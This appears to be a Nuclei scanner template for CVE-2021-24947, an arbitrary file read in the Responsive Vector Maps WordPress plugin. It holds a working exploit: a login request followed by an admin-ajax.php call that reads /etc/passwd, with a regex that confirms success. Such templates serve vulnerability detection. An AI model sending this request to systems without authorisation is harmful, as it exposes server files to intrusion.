40 lines
1.3 KiB
YAML
40 lines
1.3 KiB
YAML
id: CVE-2021-24947
|
|
|
|
info:
|
|
name: RVM - Responsive Vector Maps < 6.4.2 - Arbitrary File Read
|
|
author: cckuailong
|
|
severity: high
|
|
description: The plugin does not have proper authorisation, CSRF checks and validation of the rvm_upload_regions_file_path parameter in the rvm_import_regions AJAX action, allowing any authenticated user, such as subscriber, to read arbitrary files on the web server.
|
|
reference:
|
|
- https://wpscan.com/vulnerability/c6bb12b1-6961-40bd-9110-edfa9ee41a18
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2021-24947
|
|
classification:
|
|
cve-id: CVE-2021-24947
|
|
cwe-id: CWE-23
|
|
tags: cve,cve2021,lfi,wp,wordpress,wp-plugin,authenticated,lfr
|
|
|
|
requests:
|
|
- raw:
|
|
- |
|
|
POST /wp-login.php HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Origin: {{RootURL}}
|
|
Content-Type: application/x-www-form-urlencoded
|
|
Cookie: wordpress_test_cookie=WP%20Cookie%20check
|
|
|
|
log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
|
|
- |
|
|
GET /wp-admin/admin-ajax.php?action=rvm_import_regions&nonce=5&rvm_mbe_post_id=1&rvm_upload_regions_file_path=/etc/passwd HTTP/1.1
|
|
Host: {{Hostname}}
|
|
|
|
cookie-reuse: true
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: regex
|
|
regex:
|
|
- "root:[x*]:0:0"
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|